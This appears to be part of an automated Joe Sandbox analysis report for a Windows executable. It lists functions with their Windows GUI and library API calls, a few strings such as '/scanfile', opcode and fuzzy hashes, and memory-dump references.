SysFreeString.OLEAUT32 ref: 0000000140006A56
SysFreeString.OLEAUT32 ref: 0000000140006A6A

Strings

ERROR:HR = [%d], lasterror = [%d] Couldn't access scan control interface, xrefs: 000000014000691E
/scanfile, xrefs: 0000000140006888
ERROR:Couldn't start scan of file %s, xrefs: 0000000140006A46

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: String$_com_issue_error$AllocFree$CreateErrorInstanceLast_com_issue_errorex
String ID: /scanfile$ERROR:Couldn't start scan of file %s$ERROR:HR = [%d], lasterror = [%d] Couldn't access scan control interface
API String ID: 3113814597-1353597776
Opcode ID: 1abc16cf83e5d211a6a62dfe2c333499e64d123060099c3fff3bf4da9eaad34a
Instruction ID: ea291270b2d5649153048d633c2dedc033e68da043defdf9f8db0ebeedc637b4
Opcode Fuzzy Hash: 1abc16cf83e5d211a6a62dfe2c333499e64d123060099c3fff3bf4da9eaad34a
Instruction Fuzzy Hash: D5616A76301B418AEB16DF76E8547D823A5BB88BA8F104525EF5E67BB4DF78C845C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400406DC Relevance: 24.2, APIs: 16, Instructions: 171windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003A82C: GetWindowLongW.USER32 ref: 000000014003A849

GetParent.USER32 ref: 0000000140040728
SendMessageW.USER32 ref: 0000000140040751
GetWindowRect.USER32 ref: 000000014004076E
GetWindowLongW.USER32 ref: 000000014004079B
MonitorFromWindow.USER32 ref: 00000001400407F5
GetMonitorInfoW.USER32 ref: 0000000140040802
CopyRect.USER32 ref: 0000000140040810
GetWindowRect.USER32 ref: 000000014004081F
MonitorFromWindow.USER32 ref: 000000014004082D
GetMonitorInfoW.USER32 ref: 000000014004083A
CopyRect.USER32 ref: 0000000140040848
GetParent.USER32 ref: 0000000140040854
GetClientRect.USER32 ref: 0000000140040864
GetClientRect.USER32 ref: 0000000140040871
MapWindowPoints.USER32 ref: 0000000140040887

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Rect$Monitor$ClientCopyFromInfoLongParent$MessagePointsSend
String ID:
API String ID: 3610148278-0
Opcode ID: 46f239fcdd02a8dc01da9ffe3869f8642cba8842ae0c2684fc5c4c35b8ae421b
Instruction ID: 658eb6d66e957a12e97abe71b73fd6776e0043e8006f96cc8f19cbb98a7311a2
Opcode Fuzzy Hash: 46f239fcdd02a8dc01da9ffe3869f8642cba8842ae0c2684fc5c4c35b8ae421b
Instruction Fuzzy Hash: D4719C36710A409AEB16CF36D548BED3362FB48BC8F444121EF0A5BBA9DF78D9058740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400BE4E4 Relevance: 22.7, APIs: 15, Instructions: 233timeCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00000001400BE549
InflateRect.USER32 ref: 00000001400BE589
SetRectEmpty.USER32 ref: 00000001400BE63B
SetRectEmpty.USER32 ref: 00000001400BE644
GetSystemMetrics.USER32 ref: 00000001400BE66A
KillTimer.USER32 ref: 00000001400BE735
EqualRect.USER32 ref: 00000001400BE74E
EqualRect.USER32 ref: 00000001400BE75F
EqualRect.USER32 ref: 00000001400BE7D9
InvalidateRect.USER32 ref: 00000001400BE7F1
InvalidateRect.USER32 ref: 00000001400BE801
EqualRect.USER32 ref: 00000001400BE810
InvalidateRect.USER32 ref: 00000001400BE825
InvalidateRect.USER32 ref: 00000001400BE835
UpdateWindow.USER32 ref: 00000001400BE845

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$EqualInvalidate$Empty$ClientInflateKillMetricsSystemTimerUpdateWindow
String ID:
API String ID: 2140115980-0
Opcode ID: cd360899a41a6a6c3724f0f32ab7dce0ea41777aa1efc28fb13bf9afdb92219d
Instruction ID: b46eb257bbf13400ed2c45fe4a064d27464def9e84055fe7a230b25cf6745813
Opcode Fuzzy Hash: cd360899a41a6a6c3724f0f32ab7dce0ea41777aa1efc28fb13bf9afdb92219d
Instruction Fuzzy Hash: B2B15B76A00A819AE711CFA6E848BED33B5F788B8CF098126EF099B764DF75C505C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400A4358 Relevance: 21.2, APIs: 14, Instructions: 217windowCOMMON

Download Yara Rule

APIs

RedrawWindow.USER32 ref: 00000001400A43B3
PtInRect.USER32 ref: 00000001400A43BF
SendMessageW.USER32 ref: 00000001400A43F8
GetParent.USER32 ref: 00000001400A4419
SendMessageW.USER32 ref: 00000001400A4442
SendMessageW.USER32 ref: 00000001400A4493
ReleaseCapture.USER32 ref: 00000001400A44AD
ReleaseCapture.USER32 ref: 00000001400A458E
ReleaseCapture.USER32 ref: 00000001400A45F8
IsRectEmpty.USER32 ref: 00000001400A4676
InvalidateRect.USER32 ref: 00000001400A468C
IsRectEmpty.USER32 ref: 00000001400A4697
InvalidateRect.USER32 ref: 00000001400A46AD
UpdateWindow.USER32 ref: 00000001400A46B7

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$CaptureMessageReleaseSend$EmptyInvalidateWindow$ParentRedrawUpdate
String ID:
API String ID: 1443145988-0
Opcode ID: 8313a05b7533fb3977c0cffb76a9e95bae3a3da96b47ab06635e08a09bbcd133
Instruction ID: d1434fbf5f8806557cba0e915ddbb137c19459b1431a7a1c1ab25e35ccfcad6f
Opcode Fuzzy Hash: 8313a05b7533fb3977c0cffb76a9e95bae3a3da96b47ab06635e08a09bbcd133
Instruction Fuzzy Hash: A4A1293A204A8183EB26DF27E4547DE67A4F78DB85F080122EF9A4BB61DF78D541CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400583CC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 00000001400583FD
GlobalUnlock.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 000000014005852D

Strings

System, xrefs: 00000001400583D9, 00000001400585B0

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Global$LockUnlock
String ID: System
API String ID: 2502338518-3470857405
Opcode ID: b795d5c5f7284fc1f74c85fa28021c3fef52baed0805be5f9691c8e04aaf138a
Instruction ID: 1f529de35eed584343ebb938e5001ec9e82c2458c407a6b938eea15686152bc1
Opcode Fuzzy Hash: b795d5c5f7284fc1f74c85fa28021c3fef52baed0805be5f9691c8e04aaf138a
Instruction Fuzzy Hash: 6B71D27620065186EB26EF27A4047EA33A0FB4CBD4F444925EF5A677E1DF39D946CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400AA370 Relevance: 21.1, APIs: 14, Instructions: 104timewindowCOMMON

Download Yara Rule

APIs

KillTimer.USER32 ref: 00000001400AA3C2
KillTimer.USER32 ref: 00000001400AA3D1

Part of subcall function 00000001400AA614: InvalidateRect.USER32 ref: 00000001400AA683
Part of subcall function 00000001400AA614: UpdateWindow.USER32 ref: 00000001400AA68D

Part of subcall function 00000001400AA828: KillTimer.USER32 ref: 00000001400AA8C6

GetCursorPos.USER32 ref: 00000001400AA3E3
ScreenToClient.USER32 ref: 00000001400AA3F1
GetClientRect.USER32 ref: 00000001400AA40C
MapWindowPoints.USER32 ref: 00000001400AA427
PtInRect.USER32 ref: 00000001400AA435
SendMessageW.USER32 ref: 00000001400AA450
SetTimer.USER32 ref: 00000001400AA471
GetClientRect.USER32 ref: 00000001400AA49A
MapWindowPoints.USER32 ref: 00000001400AA4B5
PtInRect.USER32 ref: 00000001400AA4C3
SendMessageW.USER32 ref: 00000001400AA4DE
SetTimer.USER32 ref: 00000001400AA4FF

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: RectTimer$ClientKillWindow$MessagePointsSend$CursorInvalidateScreenUpdate
String ID:
API String ID: 2240750388-0
Opcode ID: 109f60e255d7a758d5ee912795749b92bdbf6b07a1fefe84cf19be051d996ad1
Instruction ID: d36d18874deb1fc5e0dd086220498b4da8b1af8b75a739c2893d3611c3aab569
Opcode Fuzzy Hash: 109f60e255d7a758d5ee912795749b92bdbf6b07a1fefe84cf19be051d996ad1
Instruction Fuzzy Hash: F5514676600A80C6FB159F62E4487ED3771F79DB89F044522DF0A1BAA9CFB8C589CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400365F8 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 94libraryCOMMON

Download Yara Rule

APIs

QueryActCtxW.KERNEL32 ref: 000000014003665F
GetModuleHandleExW.KERNEL32 ref: 000000014003668A
GetModuleFileNameW.KERNEL32 ref: 00000001400366AB
SetLastError.KERNEL32 ref: 00000001400366C3
CreateActCtxW.KERNEL32 ref: 0000000140036709
GetLastError.KERNEL32 ref: 000000014003671A
ActivateActCtx.KERNEL32 ref: 0000000140036754
FindActCtxSectionStringW.KERNEL32 ref: 000000014003677F
LoadLibraryW.KERNEL32 ref: 0000000140036790
DeactivateActCtx.KERNEL32 ref: 000000014003679E

Strings

Comctl32.dll, xrefs: 0000000140036770, 0000000140036789
p, xrefs: 000000014003675E

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastModule$ActivateCreateDeactivateFileFindHandleLibraryLoadNameQuerySectionString
String ID: Comctl32.dll$p
API String ID: 550771814-195350848
Opcode ID: aded4abf4d4cafa184d0226829c475abf3b6bc58da26b9b45449068d47a8b5ea
Instruction ID: ece1252bebf3b8dd387ad18c32440c035ceee8c5b176b74735128af69b847d8c
Opcode Fuzzy Hash: aded4abf4d4cafa184d0226829c475abf3b6bc58da26b9b45449068d47a8b5ea
Instruction Fuzzy Hash: F0414E75218B8482EB228F66F8487DBB3E1F7487A4F844229D799476F4DFB8C449CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400B246C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109timeCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32 ref: 00000001400B24AE
GetSystemMetrics.USER32 ref: 00000001400B24BB
GetSystemMetrics.USER32 ref: 00000001400B24D3
GetSystemMetrics.USER32 ref: 00000001400B24EE
GetSystemMetrics.USER32 ref: 00000001400B2503
CreateEllipticRgn.GDI32 ref: 00000001400B25B6
SetWindowRgn.USER32 ref: 00000001400B25D8
SetCapture.USER32 ref: 00000001400B25E2
SetTimer.USER32 ref: 00000001400B2600

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Strings

, xrefs: 00000001400B2558
, xrefs: 00000001400B2560

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem$CaptureClientCreateEllipticExceptionScreenThrowTimerWindow
String ID: $
API String ID: 3301921535-227171996
Opcode ID: e6f43742b678d023fc305bd9e3999284a3d558ce682968778dea901b4331dc63
Instruction ID: 030775b426fb00e064c524804a9e0fd04b1fe95ded799547a3fc7bddf6d804a6
Opcode Fuzzy Hash: e6f43742b678d023fc305bd9e3999284a3d558ce682968778dea901b4331dc63
Instruction Fuzzy Hash: 4841AA76600B8087E711CF26E848B9E77A5F78CBA8F558225DF9987BA4DF79C405CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401905E4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 105keyboardtimewindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 0000000140190627

Part of subcall function 0000000140191994: GetParent.USER32 ref: 00000001401919B7
Part of subcall function 0000000140191994: GetSystemMenu.USER32(?,?,?,?,?,?,?,0000000140190650,?,?,?,?,?,?,00000001,00000001401003D6), ref: 00000001401919DD
Part of subcall function 0000000140191994: SetMenuDefaultItem.USER32(?,?,?,?,?,?,?,0000000140190650,?,?,?,?,?,?,00000001,00000001401003D6), ref: 0000000140191A0C
Part of subcall function 0000000140191994: GetParent.USER32 ref: 0000000140191A16
Part of subcall function 0000000140191994: IsZoomed.USER32 ref: 0000000140191A28
Part of subcall function 0000000140191994: EnableMenuItem.USER32 ref: 0000000140191A43
Part of subcall function 0000000140191994: EnableMenuItem.USER32 ref: 0000000140191A55
Part of subcall function 0000000140191994: EnableMenuItem.USER32 ref: 0000000140191A67
Part of subcall function 0000000140191994: EnableMenuItem.USER32 ref: 0000000140191AB5
Part of subcall function 0000000140191994: GetParent.USER32 ref: 0000000140191ABF
Part of subcall function 0000000140191994: DeleteMenu.USER32(?,?,?,?,?,?,?,0000000140190650,?,?,?,?,?,?,00000001,00000001401003D6), ref: 0000000140191AE7
Part of subcall function 0000000140191994: DeleteMenu.USER32(?,?,?,?,?,?,?,0000000140190650,?,?,?,?,?,?,00000001,00000001401003D6), ref: 0000000140191AF9
Part of subcall function 0000000140191994: GetParent.USER32 ref: 0000000140191B03
Part of subcall function 0000000140191994: DeleteMenu.USER32(?,?,?,?,?,?,?,0000000140190650,?,?,?,?,?,?,00000001,00000001401003D6), ref: 0000000140191B2B
Part of subcall function 0000000140191994: GetParent.USER32 ref: 0000000140191B3F

KillTimer.USER32(?,?,?,?,?,?,00000001,00000001401003D6), ref: 0000000140190661
GetKeyState.USER32 ref: 00000001401906AE
GetKeyState.USER32 ref: 00000001401906BD
GetFocus.USER32 ref: 000000014019070A
SetTimer.USER32 ref: 0000000140190759

Strings

y, xrefs: 0000000140190694
y, xrefs: 0000000140190724
y, xrefs: 00000001401906EA
y, xrefs: 00000001401906CC
y, xrefs: 000000014019072F

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$ItemParent$Enable$Delete$StateTimer$DefaultFocusKillRectSystemWindowZoomed
String ID: y$y$y$y$y
API String ID: 3553910245-2054889058
Opcode ID: 984148c2d0c6c885a147767a8df0ccb66796023bdd73b0505b58824dee323965
Instruction ID: 5130d2e5777dad0e9c96a37fcfd2db138c7864e2263cf56751cf2513b4374faf
Opcode Fuzzy Hash: 984148c2d0c6c885a147767a8df0ccb66796023bdd73b0505b58824dee323965
Instruction Fuzzy Hash: AA41F5326046408AFE779B27E9447EA2691A7DDFA4F140121DF89476B1CFB9C8D1CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000014010A89C Relevance: 18.3, APIs: 12, Instructions: 283timewindowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 000000014010A8C1
GetCursorPos.USER32 ref: 000000014010A8E4
ScreenToClient.USER32 ref: 000000014010A8F3
GetParent.USER32 ref: 000000014010A9B0
SetTimer.USER32 ref: 000000014010AA1E
InvalidateRect.USER32(?,?,?,00000001400CC8D5,?,?,?,?,?,?,?,00000001400CB4D8), ref: 000000014010AA2F
UpdateWindow.USER32 ref: 000000014010AA39
KillTimer.USER32(?,?,?,00000001400CC8D5,?,?,?,?,?,?,?,00000001400CB4D8), ref: 000000014010AA4A
KillTimer.USER32 ref: 000000014010AB59
GetParent.USER32 ref: 000000014010AB73
GetParent.USER32 ref: 000000014010AC0D
SendMessageW.USER32 ref: 000000014010ACB0

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ParentTimer$KillWindow$ClientCursorInvalidateMessageRectScreenSendUpdate
String ID:
API String ID: 2010726786-0
Opcode ID: d31cd8df75a69a0681ad43ad3f864289b333f351e40ff52015bd260131dfaf0b
Instruction ID: 830849909b2af931958280e66e6e889e8b92b99385ff9925b878fc68eb5854a0
Opcode Fuzzy Hash: d31cd8df75a69a0681ad43ad3f864289b333f351e40ff52015bd260131dfaf0b
Instruction Fuzzy Hash: 9AC14D75301A4082FE5ADB63E5547EA63A1AB8CFD0F494526DF8A4BBA1EF7CC441C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140128548 Relevance: 17.0, APIs: 11, Instructions: 455COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 0000000140128582
IntersectRect.USER32 ref: 00000001401285C8
GetTextColor.GDI32 ref: 00000001401285DA
IsRectEmpty.USER32 ref: 0000000140128672
IntersectRect.USER32 ref: 0000000140128687
IntersectRect.USER32 ref: 00000001401286DB
IsRectEmpty.USER32 ref: 000000014012872E
IntersectRect.USER32 ref: 0000000140128755
IntersectRect.USER32 ref: 0000000140128895

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Intersect$Empty$ColorText
String ID:
API String ID: 1058108-0
Opcode ID: e6845464937a91cd32bc10ae8e108abd7035b1b1fd72c6295f984480cb704b5e
Instruction ID: 0cc79926276537c99997dfb8c4d36c348ed4c6e682c73a9456f0f32ef1d67f61
Opcode Fuzzy Hash: e6845464937a91cd32bc10ae8e108abd7035b1b1fd72c6295f984480cb704b5e
Instruction Fuzzy Hash: 4212B076B10A8486EB12DF26E8447ED63A1F78CF88F48422ADF4967BA5DF38C545C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014017C7C4 Relevance: 16.8, APIs: 11, Instructions: 279windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF0C
Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF27

PatBlt.GDI32 ref: 000000014017C839
PatBlt.GDI32 ref: 000000014017C85D
PatBlt.GDI32 ref: 000000014017C884
PatBlt.GDI32 ref: 000000014017C8AB
InflateRect.USER32 ref: 000000014017C8BE
InflateRect.USER32 ref: 000000014017C8CC
PatBlt.GDI32 ref: 000000014017C922
PatBlt.GDI32 ref: 000000014017C94C
PatBlt.GDI32 ref: 000000014017C979
PatBlt.GDI32 ref: 000000014017C9A6
GetBkColor.GDI32 ref: 000000014017CA5E

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

Part of subcall function 0000000140053F6C: SetBkColor.GDI32 ref: 0000000140053F9D
Part of subcall function 0000000140053F6C: ExtTextOutW.GDI32 ref: 0000000140053FE8

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
